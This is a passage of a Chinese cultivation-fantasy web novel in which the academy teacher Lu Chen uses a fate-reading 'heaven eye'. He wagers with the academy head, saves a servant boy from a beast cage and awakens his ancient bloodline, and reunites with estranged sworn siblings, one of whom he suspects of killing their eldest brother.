而冷月宫,哪怕是在仙门云集的大炎皇朝,也可称的上是一流宗门,其与白鹿书院之间的差距,堪称天堑。
陆尘与莫清寒昔年为一对侠侣,在许端死後,莫清寒被冷月宫带走,陆尘则是拜入白鹿书院门下,二人初时还有书信往来,久而久之,也是形同陌路,再没有半点联系。
大道无情,不外如此。
无论是挚友还是挚爱,在修行这条漫漫长路上,一旦跟不上他们的脚步,最终的结局终究只能是被人所遗弃。
想到此处,陆尘又是在心中长叹一声。
“对,小妹她如今在冷月宫,二哥则是在大轩皇朝的倚天剑堂,实不相瞒,我已书信於他二人,七月初七相聚在书院後山。”
赵拓不再拐弯抹角,直接了当的说道。
“为什麽突然相聚一场?”
陆尘微微有些愣神,他已然有些记不清莫清寒的脸了,明明二人曾相伴良久,可在时间的冲洗下,一切都变得分外迷糊。
“你应该知晓,近几届大离演武,我白鹿书院都是排在最後一名,长此下来,已经越发势弱,王城内各方势力虎视眈眈,用明的暗的手段想方设法蚕食书院,如今相邀二哥和小妹前来,可借冷月宫以及倚天剑堂之势震慑群雄,至少在这一届的大离演武之前,不去动什麽手脚。”
赵拓坦白而言。
昔年五人之中,以大哥许端为首,许端为人正直康概,一身豪侠气概令人忍不住的想要与之结交,在许端死後,四人则是各奔东西。
但这其中,莫清寒与陆尘曾为侠侣,虽因大道早已形同陌路,可昔年深情,总归难以磨灭。
二哥楚星宇则是暗中倾心於莫清寒,故赵拓以陆尘为由,相约莫清寒前来白鹿书院,同时以莫清寒为由,相约楚星宇。
表面上是一场老友时隔多年的相聚,可实际上众人都各怀心思,早与当年那坦诚相待的模样相差百里。
“我可以去,但也需你答应我一事。”
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陆尘略微思索片刻后说道。
故人相见不过是徒增伤感,无论如何,也回不到当初,陆尘对这场相聚,其实并不抱什麽期待。
“尘哥儿尽管说。”
赵拓见陆尘未曾拒绝,当下也是一喜,此事是他一手促成,若真能借冷月宫与倚天剑堂之势解了白鹿书院的燃眉之急,属实是大功一件。
“我想㣉内院任教,当然无需你操办什麽,带我去见祭酒便可。”
陆尘食指轻叩木桌,缓缓说道。
他正愁自己一个外院夫子如何见到书院祭酒商议&a
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mp;#x38c9;内院一事,赵拓便是自己送上门来。
大家各有所需,这很好。
“内院?这……”
听到陆尘此言,赵拓忽地有些一愣,他原以为陆尘会提什麽丹药或是功法秘籍,却没想到
他狮子大开口,直接要㣉内院。
“尘哥你也知道,内院夫子最低也要上阳境方可……”
赵拓有些为难地说道。
他对於陆尘其实并没有什麽情谊可言,二人大道相差甚远,早已不是同路人了,如今陆尘这般狮子大开口,令赵拓对其已经有些许的厌烦。
“你只需带我见祭酒即可,无论事成与否,我都会去後山相聚。”
陆尘顿了顿说道。
看到赵拓那眼底闪过的一抹轻蔑之色,他只能是在心底叹息,多年过去,早已物是人非了,从前跟在他身後嚷嚷着要喝最烈的酒的少年,也早已不见。
“哈哈哈哈哈哈哈,这等小事,尘哥早说嘛,我这便带你前去。”
听到陆尘此言,赵拓才松了口气,收起那一丝不悦,当下带着陆尘便往内院而去。
他自然是不相信陆尘这低微境界能成为书院祭酒,只当他是异想天开,痴人说梦。
“倒也省了我的麻烦。”
赵拓心中嗤笑道。
陆尘则是在其身後悄然的打开武道天眼,查看其气运。
【姓名:赵拓】
【年龄:二十七】
【境界:一转上阳境】
【命格:黄色】
【生平:虽迈㣉修行一途较晚,但道心坚定,在前期顺风顺水,一路破境,有天骄之姿,但在偶得一本天书後,沉沦其中,始终不得解脱,白白耗费光阴】
【近期遭遇:从秘境中得到一本天书,赵拓感觉到其品阶不低,对其劳心劳力参悟,却始终无果】
“你觉得我和莫清寒如何?”
陆尘忽地问道。
“可惜了。”
赵拓顿了顿说道,心底却是觉得陆尘这般处地,与冷月宫的真传莫清寒相较,已经是差之十万八千里,本就不该有任何的接触谈何可惜。
“命里有时终须有,命里无时莫强求咯。”
陆尘轻叹一句,点到为止,并未再多说什麽。
第七章 赌约
并不多时,二人便到了书院祭酒的竹屋前,赵拓轻叩房门,祭酒推门而出。
“祭酒大人,陆尘有要事与您相商,特请我前来引荐。”
赵拓行礼作揖,开门见山的说道。
陆尘亦是作揖行礼,十分恭敬。
他对於书院祭酒向来是十分钦佩,知晓他虽古板守旧,但心底终归是为书院学子们异常着想,当年陆尘以道台境界聘为书院夫子,最终也是由祭酒拍板定下的。
本能的,陆尘亦是打开武道天眼想要查看一番,系统的机械声却是在此时悄然响起。
【境界差距过大,武道天眼暂且无法查看此人气运】
“祭酒应该是太阴境吧,高出紫府两个大境界竟然就不让查看了。”
陆尘心底暗叹一声,但转念一想,境界差距如此悬殊,哪怕看到了他人气运,自己确实也指点不了什麽东西。
“进来说吧。”
祭酒点了点头,陆尘跟随祭酒入室,赵拓则是自行离开,他想也不想就知晓,陆尘这一趟前去只能是碰一鼻子灰,原本可能因这次相聚有功而积攒的些许功劳,多半也会因这次狮子大开口而消耗。
这般想着,他自顾自的笑了起来,回想起往昔记忆,那个仗剑挡在自己面前的三哥,如今竟然变得这般庸庸碌碌,未免又有些唏嘘。
“大道无情,终不是同路人了。”
他感慨一声,身影消失在天地间。
竹屋之内,二人铺毡对坐。
祭酒的居所异常简约,不过一桌一床一画,不像是什麽修行大能所居之地,倒像是世俗人间的文人,有股书生气。
“陆尘是吧……当年老夫力排众议聘你为夫子,本想你有何惊世骇俗之论,能给我白鹿书院带来新机,却没想到你游山玩水,并不以弟子学业为重。”
祭酒抿了抿清茶,语气平淡的说道。
陆尘有些汗颜,他原以为自己在外院划水多年并无人知晓,却没想到祭酒对此一清二楚,只是一直没有点明。
“您老见谅,这十年受制於道台之境,心中意气早已消磨,这才如此荒唐。”
陆尘又拱手行礼致歉,心中确实有些许的羞愧。
“不过您既然知晓我怠慢学业,为何留我到如今?”
陆尘顿了顿又问道。
“还记得你当年所作的一句诗吗?”
祭酒捋了捋发白的长须,眼神中闪过一抹追忆神色。
“哪句?”
陆尘依旧是一头雾水。
“安得广厦千万间,大庇天下寒士俱欢颜。”
祭酒朗声而言,长袖一挥,便有一幅书画凭空展开,卷中所提,正是这一句。
“外院学子大多出身贫寒,老夫亦是,你有此宏远,老夫才愿意对你破格聘用,这十年来,你虽对学业松懈,但对书院弟子,无论贫富贵贱,皆一视同仁,甚至更愿意对那些寒门弟子指点,这也是老夫容你在外院十年的原因。”
说到此处,祭酒叹了口长气,似乎又回忆起了某些往事。
陆尘愣了愣,他倒从未想过,自己是因这个原因才能留在白鹿书院这麽长的时间。
“境界一事强求不得,你无需因此自暴自弃,冷月宫倚天剑堂一事,还需仰仗你与赵拓二人操办,事成之後,老夫可为你寻得一枚三品紫璇丹,藉助紫璇丹,想必能踏入紫府境界了。”
祭酒想了想又说道。
“劳烦您对此忧心了,不过晚辈已经踏入紫府境界,用不得紫璇丹。”
陆尘心念一动,周身紫气便是宣泄而出。
他原本藉由武道天眼遮掩自身气息,使之仍表现的如道台境界,但想要进入内门,道台境界是万万不够的,哪怕是紫府境界,也并未达标。
“紫气倒是足够浓郁,等等……前些日子那紫气东来,遮蔽天日的景象,不会是你小子惹出来的吧。”
祭酒忽地一惊,猛然站起身来。
“好像是吧……”
陆尘尴尬说道。
“好小子,大器晚成啊。”
祭酒开怀大笑,但心底却又有些失落,原以为是内院出了某个麒麟子,没想到是外院夫子陆尘,那般紫气属实恐怖,但出现在陆尘身上,却又未免太晚了些,总归是比不上那些少年人。
“侥幸罢了。”
陆尘笑了笑说道。
“那你所来是为何事?”
祭酒又问。
“实不相瞒,我想入内院执教。”
陆尘坦然相告。
“你要知晓,内院夫子要到上阳境方
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可任教,紫府境与上阳境之间的差距,犹如天堑,可不是道台境与紫府境能比拟的,当初老夫能力排众议聘你为外院夫子,但内院夫子,却是万万不可。”
祭酒皱了皱眉说道。
“您与我打个赌如何?”
对於祭酒的这般态度,陆尘倒是并不感到意外,自己以紫府境界想要入内院执教,确实有些痴人说梦。
“怎麽个赌法?”
祭酒不解问道。
“七月初七是内院名额的考核吧,晚辈打赌,此次约有二十人能通过考核,进入内院。”
外院弟子在经过陆尘的指点后
,实力已经有了极大的长进,而这次的内院考核,则是他们崭露锋芒的时刻,陆尘说二十人,这已经是往少了说。
“二十人?你当真?要知道以往的考核,最多也不过一手之数。”
祭酒看向陆尘,倒真觉得在说笑了。
“当真,请您相信我,也相信他们。”
陆尘郑重而言。
“好,但就算你赌赢了,老夫最多也只能给你一个在长老前争取的机会,并不能一言定夺。”
祭酒思索片刻后说道。
“这便足够了。”
陆尘倒也不觉得因为一个赌约就能令祭酒为自己破例,这个世界终归是以实力说话,不在那些长老面前显露些手段,是不可能服众的。
“既然是赌约,自然不能只赌赢,你倒是说说,若你赌输了,该如何?”
“陆尘愿意卸去夫子之职。”
“年轻人倒是有胆识,去吧,我们七月初七见分晓。”
祭酒哈哈大笑起来,他其实比陆尘更希望外院能出二十个进入内院的种子选手,同样出身寒门,他知晓外院这些寒门子弟的愿景,当世家子弟可以依靠家族丹药灵草等外物时,寒门子弟却只能凭藉一次次在外与妖兽们的生死搏斗去换得一枚在世家子弟看来再稀疏平常不过的灵丹。
陆尘行礼离去,看着他离去的背影,祭酒默然而念:“希望真能如你昔年诗句所,说,大庇天下寒士俱欢颜吧。”
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第八章 妖笼少年
“杂役弟子,还剩一人……”
陆尘手中握着杂役弟子的名册,自顾自的嘀咕道。
这些日子外院学子已经被排查的一乾二净,本着一个也不放过的原则,陆尘竟照着名单对杂役弟子也开始搜寻。
“你们可知这名叫段凌云的孩子在何处?”
伙房之中,陆尘看着杂役弟子们问道。
众人神情麻木,皆是摇头不语。
陆尘皱了皱眉,这里的孩子都是有些天赋,但天赋又不足以进入书院的那一批,愿意是想让他们在干杂役的时候也能接受书院的熏陶,但如今看来,这些杂役已经消磨了他们的心气。
“还要去找最後这个孩子吗?”
陆尘已经有些犹豫了,伙房之中的孩子们大多只是白色气运,显然不会那麽凑巧,有一个非凡命格的孩子刚好不在。
“罢了,不怕一万就怕万一。”
陆尘叹了口气,还是决定要寻出这最後一人。
…………
书院,妖笼。
妖笼是一处被圈禁出来的特殊场地,里间豢养了诸多低阶妖兽,专门给书院弟子们试炼,但因为妖兽总归是有兽性在,哪怕是被豢养驯化,也总归会有暴走失控的时刻。
因与这些妖兽试炼而陨落的弟子,书院每年都有那麽几个,大道无情,也并未有人去为这些弟子惋惜,毕竟连与书院豢养的妖兽交手都能身亡,到时候又如何与那些真正在深山厚土中蛰伏的大妖们想抗衡呢?
此时妖笼的场中,有一位衣衫破旧的少年与一头浑身燃着赤火的妖兽对峙,说是对峙,但其实更像是单方面的猎杀。
那妖兽怒吼着扑向少年,少年慌忙逃窜,手脚并用着,显得十分狼狈。
台下有几位华服少年看着少年逃窜模样,哈哈大笑起来,像是在看一出极为有趣的戏摺子一般。
“小段子,你要敢停下来接这虎兄一巴掌,我再给你加三颗灵石!”
有一人又冲着看台喊道。
少年听到这话愣了一愣,三颗啊,多这三颗就能换到一枚景元丹了吧。
这般想着,他竟是停了下来,双手挡在胸前,想要硬抗下那燃烧着赤火的妖兽一掌。
“慕兄,这一掌要是真给他拍死了怎麽办啊?”
有一人又有些担忧的问道。
“我看这小子挺命大的,就算被拍死了,也不过死的一个杂役,有谁在意呢?”
慕远皱了皱眉,觉得身旁这人多嘴搅了自己的兴致。
他是内院长老慕清风之子,虽因天赋实在愚笨而未入内院,但这反而是遂了慕远的心意,在外院这些寒门子弟中当个土霸王,有不少跟班追随着,整日寻些乐子。
眼前这在妖笼之中的少年便是慕远的乐子之一,这少年名为段凌云,是书院的杂役弟子。
所谓杂役弟子,是白鹿书院对那些有志修行,但天赋着实平庸,又家境清寒的学子网开一面,将他们派往伙房或灵脉等地当杂役,闲暇时候也可去书院听讲,虽无正式弟子的待遇,但至少可以留在书院,总归有个机会。
在慕远偶然发现身为杂役弟子的段凌云异常缺钱后,便想出个取乐的法子,他告诉段凌云,只要在妖笼中撑过一炷香,就给他一块灵石,撑过三炷香,就是三块灵石。
少年并不知晓这妖笼的凶险,就这麽轻易的答应下来。
要知道哪怕是对於外院这些正式的弟子而言,与妖笼妖兽的试炼也是他们所不愿面对的一道坎,更别说是段凌云这般的杂役弟子了。
所以这从一开始而言就是一场不公平的交易,段凌云几乎不可能在妖兽的手下撑过一炷香,哪怕是撑过了,少说也得落下个半身残废了。
在段凌云停步的那一刹那,所有人都目光紧盯着笼中,有的人激动不已,也有的人觉得真要闹出人命,到时候这慕远可以凭藉家世脱身,自己这平民出身的子弟,恐怕要脱不了干系。
总之看台下这几位虽看着和睦,但实则是各怀心思,各有各的念想。
妖兽的利爪抬起,在将要拍下的那一刹那,段凌云感受到一股窒息的死亡压迫,他猛的一转身,避开那挥下的利爪。
少年踉跄跌倒在地,但他知道自己没有任何的喘息时间,当下又是仓惶爬起,躲避那妖兽吐出的熊熊燃起的烈火。
“废物!杂种!不许跑!”
暮远咆哮出声,手上青筋暴起,脸色变得极为难看,就好似是到嘴的鸭子跑了一般,兴致荡然全无。
段凌云此时也无心理会慕远的暴怒,只能狼狈的躲避着妖兽的追击以及熊熊燃烧的烈火,他知道自己只要稍有不慎,恐怕就要葬身在这妖笼之中。
事实上也得亏这是经过书院豢养,性情稍微温顺些的妖兽,若真是那些山脉中的大妖,少年早就是死无全尸了。
“慕公子,能把妖兽驱
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赶回去吗?我要支撑不住了。”
段凌云大口大口的喘息,因为剧烈的逃窜,身上的伤口已经裂开,有鲜血自其中流出,染红了少年的破旧衣衫。
慕远置若罔闻,恶狠狠的看着那妖笼。
身旁的几人在此刻也不敢吭声,他们本就是以慕远马首是瞻,如今见慕远动了脾气,并不敢多说些什麽。
这场追逐仍在继续,少年似乎也意识到了慕远并不打算停下,当下只能咬紧牙关,不顾伤口处喷涌而出的鲜血继续逃窜。
“我不能死,我不能死,我死了姐姐就完了!”
他不断的告诉自己,双拳握紧,指尖已是渗出丝丝缕缕的鲜血。
但显然,在绝对的实力差距面前,所谓的信念并不能弥补什麽。
他累了,已经没有力气再逃了,妖兽的利爪迎面挥下。
少年躺在地上,眼角不自觉的落泪。
“还是没办法吗?”
他的手掌抬起,透过五指间的缝隙想看到些什麽,但映㣉眼帘的,却只有熊熊烈火。
段凌云闭上眼,觉得很累了。
慕远嘴角扯出一抹狰狞笑意,对於这般杂草般的卑贱之人,唯一的作用只有给自己取乐,当他败坏自己的兴致时,那便该死了。
“谁让你们把妖兽放出来的?”
预期的死亡并未到来,少年睁开眼,只见一袭青衫拦在自己身前,挥綉将那妖兽击飞。
妖兽匍匐在地,不敢再有丝毫动弹。
陆尘转过身来,看向身後倒在血泊之中的少年。
在视察完外院弟子的气运后,陆尘抱着试试看的想法对一众杂役弟子也进行了勘察。
而眼前的少年,正是名单中最後一位杂役弟子。
一路下来,这些杂役弟子都是不出意料的白色气运,陆尘甚至觉得都没必要再把这最後一位杂役弟子给找出来,想必也不会有什麽更好的气运。
但不知为何,他心中总有着一个万一的念头,四下打听出少年的行踪,知晓他被慕远等人诓骗,慌忙赶来。
“还好赶上了。”
陆尘松了口气,无论少年是何气运,他这一趟都应该来。
并且现在看来,自己这一趟来的很值。
武道天眼之中,浓郁的紫色在少年头顶汇聚,有冲破云霄之势。
谁能想到,这倒在血泊中的杂役少年,是万中无一的至尊之命!
第九章 荒古血脉
【姓名:段凌云】
【年龄:一十七】
【境界:锻体四层】
【命格:紫色——至尊之位】
【生平:虽出生贫寒,天资愚钝,但其心性坚定,身负荒古年代古老世家的神体血脉,因天地变换,此血脉在今时不显,在一次偶然吞食三阶力道妖兽精血后,荒古血脉复现,自此後一飞冲天,如潜龙离渊,成就至尊之位。】
【近期遭遇:家乡传来音讯,家中姐姐生了场重病,需景元丹医治,正忧心如何积攒灵石购买景元丹,碰巧遇到慕远等纨絝子弟。】
“还真让我走运了。”
看着少年头顶盘旋的紫气,陆尘更加庆幸自己多跑了这一趟。
他袖袍一挥,便有一股灵气涌入少年体内,将其伤势治愈,使其周天经脉的灵气再度流转。
段凌云从血泊之中缓缓起身,而後向陆尘猛的一叩首。
“夫子救救我!我还不想死……我还不能死……”
少年满面泪水,鼻涕更是止不住的流下,整个人显得十分狼狈。
看到少年模样,陆尘有些心酸,这个世界就是这般的残酷,弱肉强食,成王败寇,哪怕将来能成就一方至尊之位的少年,在微末时也只能这般屈辱,险些还要丧命。
“别怕。”
陆尘摸摸了少年脑袋,将他拉起身来,而後面前慕远等人,手掌虚空一按,便有一股莫大的威压在天地之间升起,令慕远等人承受不住的跪倒在地。
“我父是内院长老,夫子不要过分了!”
慕远虽双膝跪地,但却面色狰狞而愤怒的看向陆尘,丝毫没有惧意。
“你爹既然不是我?那麽是谁又与我何干?”
陆尘笑了笑,袖袍一震,慕远等人更是猛的往地上一磕,顿时间就是头角峥嵘之像。
“书院第三条院规记得吧,残害同门者,以眼还眼,以牙还牙。”
“你要他一条命,若我不来,他便死在这了,如今你还他一条命也是应该的吧。”
陆尘笑眯眯的说道,眉眼却不自觉的流露出丝丝缕缕的杀意。
“你不过一外院不入流的夫子,你敢!”
慕远怒目而视,心中已然是憋屈到了极点,以往都是他这般取笑戏弄他人,哪里会像今天这般,被他人戏弄。
“书院夫子自然不会擅动刑罚,我会把你交给张长老,由他去定夺。”
陆尘眯了眯细长的眸子说道。
张长老掌管书院刑罚,为人刚正不阿,与慕远之父更是早有过节,将其交给张长老,自然不会让慕远好受。
显然张长老的名号极为好用,原些还面目狰狞,一脸不服气的慕远当即低下头来,不知在沉思着什麽。
片刻后,他又换出一副哀求神色,向着陆尘说道:“夫子您大人有大量,此事别有缘由,一时之间也不好解释,我愿意给段小兄弟一些补偿,来表达我的歉意。”
慕远强挤出笑意说道。
“这样吧,把你们身上的灵石都留下,且在一日之内,送一枚景元丹到这孩子手中。”
陆尘顿了顿说道。
“全部灵石!还要一枚景元丹?怎麽不去抢!”
慕远当即破功,强挤出来的笑意也变作了副黑脸。
“那就去张长老府上一聚吧。”
陆尘双手负后,气定神闲的说道。
“等等,给就给。”
慕远咬了咬牙,紧盯着段凌云,眼底拂过一抹狠厉之色。
“别瞪了,这孩子日後出任何差池,我都会直接去张长老府上喝上一口茶,你大可以拿自己的命试试。”
陆尘笑道。
慕远愣了一愣,看向那一袭青衫,竟然忍不住的生出了些许的寒意。
他印象中这是个随和懒散丶混吃等死的家伙,属实和眼前这个笑眯眯却透露着十足杀气的人不同。
“我给,但景元丹一日之内我也拿不出来,给我三日吧。”
慕远沉思良久,最终还是低下头来。
“可以。”
狗急了会跳墙,陆尘也没有再对其紧逼,在他们留下灵石后,放任他们离去。
他转过头,收起眸子里泛起的杀意,转而面带微笑,语气轻和
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的说道:“孩子,你会怪我没帮你杀了他们吗?”
陆尘问道。
“不会的,夫子这麽帮我,我已经感激不尽了,是我自己太弱,才会像这样子。”
段凌云略带点哭腔的说道。
“若我将他们送去张长老那处,你们之间便真是结了死仇,我又不能时时刻刻看着你,反而会害你遭他们报复。”
陆尘说道。
“再䭾,自己的仇,要自己报。”
段凌云缺的只是时间而已,至於今日之仇,并不需要陆尘去帮他报,来日潜龙离渊,自会清算往日恩怨。
“报仇吗……我不敢想……我只想好好活下去,能在这多学点东西,让我和姐姐都好好的活下去。”
少年哽咽说道,从始至终,他都不敢想象报仇一事。
“你可以的。”
陆尘看着他的眼,坚定说道。
“明日午时,仍
在此处等我。”
留下此句,陆尘便是飘然离去。
少年则是云里雾里的看着陆尘离去的背影,直到背影消失,才後知後觉的向陆尘离去的方向猛然磕头。
…………
次日午时,陆尘将花费自己大半绩点兑换的妖兽精血赠予段凌云吸收,并亲自为其护道,以防出现什麽意外。
而段凌云在吸纳了妖兽精血后,也果真如武道天眼查看的那般一样,周身泛起点点金光,一股古老而又厚重的气息迸发而出,修为瞬间飙升,从锻体四重一跃至锻体九重。
“我曾在古籍之中见过,有一类人流传着荒古大能的血脉,但因天地变换而不显,需妖兽精血方可唤醒,昨日见你,觉得你与古籍所说相似,便为你寻了妖兽精血,看看是否能觉醒荒古血脉。”
陆尘如是说道。
“我昨日告诉过你吧,你可以的。”
当时少年并没有因血脉觉醒而欣喜若狂,反而像是个受了许多委屈的孩子一般,蹲在地上,把头埋在膝盖间。
良久后,他抬起头,又哭又笑着说道:“夫子之恩,凌云此生不敢忘。”
第十章 七月初七
书院,木竹屋。
陆尘盘膝而坐,双眸紧盯着半空中那滴金黄色的血滴。
荒古源血!
在指点完段凌云后,系统便给予了这一道奖励。
与指点寇筱筱后获得的奖励相同,都只有这一件而已。
但这并不意味着要比指点林炎后获得的三件丰厚奖励要差,甚至可以说,这一件的珍贵程度,远要超过指点林炎所获得的那三件奖励。
那金黄色的血滴漂浮在半空之中,浑身散发着一股古老而又炽热的气息,就好似燃烧万万年的火山,裹挟着满天尘灰一般。
陆尘凝神屏息,将那炽热的血滴融㣉灵海之中。
按照系统的说法,这是一滴蕴含荒古神体本源的精血,虽然不能将陆尘自己的体质淬炼为荒古神体,领悟荒古秘技,但也可凭这道源血洗炼肉身,使之如荒古神体那般肉身强横,万法不侵。
随着那精血纳㣉体内,陆尘便感受到一股无与伦比的炽热气息,就好似有一座火山将要在灵海之中迸发一般。
他屏气凝神,面色却还是在这般燥热气息下变得无比的难看,如同受到世间极刑之人,只能痛苦承受。
砰砰砰!
心跳声如同是雷神击鼓一般猛的躁动起来,周身的经血与灵气皆是飞速流转,一切一切都给予了陆尘一种令常人乃至是修行者都难以忍受的痛处。
与吸收花神之蕊那如沐春风的感觉不同,吸收这滴精血的过程异常痛苦,陆尘觉得要不是自己先行吸收了花神之蕊,现在说不定撑不下这份狂暴的精血,要爆体而亡了。
灵海之中,那滴精血开始愈发的膨胀,起先是一滴水,而後化作一个圆球大小的东西,如同是一轮曜日一般。
那轮曜日照射出璀璨的金光,映射在整个灵海之中。
花瓣在一刹那飞舞起来,令那躁动不安的曜日变得温和稍许。
金光在不断的映射,陆尘额头不断的流下汗水,全身的肌肉也犹如虬龙一般狰狞着。
这是一股非人的痛。
在某个瞬间,陆尘觉得自己倒不如就此昏死过去算了。
但他不能。
这是个漫长痛苦的过程,到後面,陆尘甚至已经忘却了疼痛,开始享受着这金光映射带来的肉身变化。
良久后,陆尘终於睁开双眸。
他感受到一股前所未有的轻盈感,好似直到此刻,自己的肉身才完全属於自己。
这种贴切感,哪怕是破境㣉紫府时,也不能比拟。
他忍不住的一挥拳,哪怕是砸在空中,也能感受到这一拳所蕴含的狂暴之力,如同是千钧雷霆击落一般,令人难以承受。
“以我如今的肉身之力,哪怕不动用任何术法,恐怕也能在紫府境中立於不败之地了。”
感受着自身恐怖的力量感,陆尘忍不住的感叹道。
这还只是荒古神体单纯的肉身力量,便如此惊人了,可想而知段凌云那觉醒完整的荒古血脉,日後会有多麽的恐怖。
陆尘断定,不出半月,段凌云的名号便会在整个大离响彻,甚至可能会有皇朝中的超级势力下场。
至於林炎与寇筱筱,他们更是丝毫不逊色,甚至单从气运命格来看,寇筱筱是最重的那一个,无论早晚,这三人肯定都将掀起一阵席卷整个东域的风暴。
至於自己,陆尘倒是并不太想出风头。
木秀於林风必摧之,这是个再简单又再正确不过的道理了。
…………
时间一晃而过,七月初七,这是外院弟子参与内院选拔的考核时间,照理来说,陆尘这般的外院夫子并不能缺席,但他此时却悠闲的坐在一处灵山山峰的凉亭中,眺望远处流云。
七月初七,这亦是赵拓约好的五侠再聚首之日。
但其实无论如何,五侠都不可能再聚齐了,毕竟大哥许端已经死了很多年了。
想到此处,陆尘又不免有些伤感起来。
那是个很好的大哥,哪怕身上只有三两银子,也会拿出三两来请兄弟喝最好的酒。
若遇危难,他会坚定而又执着的挡在所有人身前,哪怕知道自己可能最先死在所有人面前。
他豪迈,慷慨,正义,身上所具备的一切体质都有如陆尘前世在武侠小说中看到的大侠一般,只要他在场,便令人万分心安。
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> 想着想着,陆尘的心情就有些不好了,他靠在凉亭的柱子上,神情落寞。
“要是大哥你在的话,我们剩下的四个人也不像今日这般形同陌路吧。”
他自顾自的这般想道。
“来了!”
稍远处的赵拓显然并没有陆尘这麽多的思绪,他有些焦急的紧盯着远处,直到看到一柄巨大的长剑虚影后,这才松了口气,露出欣喜神色。
有个玄色衣裳的男子踏着那巨剑而来,他负手而立,虽不刻意显露什麽气息,却依旧有剑气在其周身环绕,显得整个人有一股无形的威压。
转瞬间,男子便到了山峰之处,轻点脚步,落在
赵拓身前。
“四弟,好久不见了。”
楚星宇拍了拍赵拓的肩膀,目光却是越过赵拓,落在了陆尘身上。
陆尘也在这时抬眸,目光与楚星宇的视线交汇。
本能的,武道天眼在一刹那开启。
【姓名:楚星宇】
【年龄:三十二】
【境界:一转上阳境】
【命格:蓝色——修行大能】
【生平:修行资质本较为平庸,但在服用一枚极品洗髓丹后,周天经脉全开,踏入修行大道,又因其性情狠辣,求道之心坚定,最终有所成就,成一派宗师大能。】
【近期遭遇:因在宗门之中与人争夺剑子之位不利,欲寻求外力帮助,寄希望於七月初七与莫轻寒相聚上。】
“等等……洗髓丹……”
陆尘眉头皱了皱,似乎是想到了什麽。
“当初大哥和我们分别之时,也是说的要去寻一枚洗髓丹吧。”
他在心底默念着,再度看到洗髓丹三个字,昔年的回忆一瞬间如潮水般袭来,连同着一大片的迷雾,像是掩盖了些什麽真相。
“大哥的死讯是二哥楚星宇通知的,而大哥要寻的洗髓丹不知所终,二哥却是凭藉洗髓丹脱胎换骨……”
想到此处,陆尘不免有些毛骨悚然,他看向楚星宇,楚星宇却是面色带笑,并无任何异常。
“别来无恙。”
他笑着说道。
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第十一章 冷月宫
“别来无恙。”
陆尘按捺下内心的疑惑,露出些许笑意说道。
若楚星宇服用这颗丹药真是大哥昔年那颗,那麽当初许端的死就绝不会那麽简单。
当然自己不可能直接开口问,做这种打草惊蛇之举。
“紫府境,不错啊三弟。”
楚星宇走了过来,拍了拍陆尘左肩,爽朗笑道。
“侥幸突破而已,与二哥四弟比,可是相差甚远。”
陆尘说道。
自见过祭酒後,陆尘也便不再隐藏自己的紫府境界了,当然这也并未引起什麽波动,毕竟外院夫子最低的境界要求,也就是紫府境,陆尘入院十多年才达到这个境界,没有人会联想到那引发天地异象,引得紫气东来之人。
“楚星宇倒是变了许多。”
陆尘在心中暗自嘀咕,以往二哥楚星宇总是五人中最沉默寡言的那一个,但现在看来,却是豪迈了许多。
“紫府境界在大离王朝可是呼风唤雨的存在,三弟不必谦虚,又不是在皇朝都城之中,石砖一砸都能砸出个紫府。”
楚星宇笑着说道。
陆尘扯了扯嘴角,并未再说些什麽,他本就因昔年丹药一事对楚星宇心有疑虑,如今见他这般自傲,更是不愿再多搭理。
昔年并肩而行之人,如今已成陌路,哪怕时隔多年再聚,也只会白惹人感慨物是人非。
“五妹来了!”
就在场面有些尴尬之时,赵拓忽地喊道。
陆尘将视线投向远处,只见有两轮弯月带着丝丝缕缕的雾气向山峰而来。
稍前的那轮弯月上坐着一女子,正是陆尘多年未见的莫清寒。
她一袭白纱,风一吹过,那白纱衣角便是随风而动,与那轮弯月相衬,显得整个人极为的出尘圣洁,如同是广寒宫下凡的仙女,五官好似被神灵精心雕刻一般,令人离不开眼,一双眸子微眯,眼眸清澈,目光如月般皎洁。
“好久不见。”
莫轻寒玉足轻点在地,看向众人而语,目光却始终落在陆尘身上,万分复杂。
陆尘注意力却并不在莫清寒的脸上,而是本能性的打开武道天眼查看一番。
【姓名:莫清寒】
【年龄:二十六】
【境界:二转上阳境】
【命格:蓝紫色】
【生平:因天生与月魄相契,被带入冷月宫门下修行,後为大道断绝情爱,终有所成,为一方大能。】
【遭遇:近期因要与多年前的侠侣相见,苦修的心境泛起波澜】
“大道无情啊。”
陆尘在心中叹息一声,记忆在一瞬间被拉回到很久很久之前。
“五妹出落的越发漂亮了。”
见二人视线交汇,楚星宇立即满脸笑意的迎了上去,遮挡住了莫轻寒的目光。
莫轻寒微微皱眉,语气又变的有些冰冷:“二哥谬赞了。”
“这些年还好吗?”
话音未落,还未等楚星宇说些什麽,莫轻寒便是身形一闪,径直出现在陆尘的身前。
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她的眸子有些湿润,显得原本就出尘绝世的女子更加动人心魄。
莫清寒有些颤抖的伸出纤纤玉手,似乎是想要抚摸陆尘脸颊,陆尘却是皱了皱眉往後退了一步。
“挺好的。”
陆尘勉强挤出笑意说道。
昔年二人本相约好拜㣉白鹿书院门下,但後来莫清寒被云游的冷月宫长老看中,离开大离王朝,前往冷月宫所在的大炎王朝。
陆尘对此倒并未在意,毕竟冷月宫确实要比白鹿书院好很多,心上人能有个更好的去处,自己自然不必去束缚她。
只是後来,二人间的书信往来越来越少,直至陆尘单方面的寄出书信,这段感情自然也无疾而终。
大道无情,陆尘自然不会去怪什麽。
只是多年後再回首,自己自然也不会对其有什麽残留的情感了,且按照武道天眼所看,绝情绝爱,这便是莫清寒的大道所在,若自己稍有回头,说不定断了她多年苦修。
“对不起。”
莫清寒贝齿轻咬红唇,看着陆尘的目光始终十分复杂。
陆尘摇了摇头。
“大道本该如此,无需多言,无需有何愧疚。”
莫清寒愣了愣,眼角有一滴泪
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留下,她原以为自己这麽多年在冷月下苦修,早已心无杂念,但多年後再与昔年相伴之人相见,心依旧起了波澜。
陆尘手略微动了动,但最终还是按捺下替美人拂泪的念头。
见此场景,赵拓自顾自的感慨一声,楚星宇则是把头低了下去,神情变得无比冷漠,再没有了丝毫笑意。
“为什麽我都是上阳境了,三弟他不过堪堪到达紫府,你还不愿意多看我一眼!”
他紧咬着牙,身上的剑气险些难以抑制的宣泄而出。
楚星宇不明白,为什麽这麽多年过去了,莫清寒还是放不下,还是不肯多看自己一眼。
为什麽?为什麽!
“唉,我说,你们两个别太腻歪了,还有这麽多人看着呢。”
有一道宛如银铃般清脆的声音在众人的耳边回荡,众人齐齐向山峰不远处看去,这才看到还有一弯月悬挂在半空之中。
弯月上坐着一女子,与莫清寒一样的白纱,想必也是冷月宫之人。
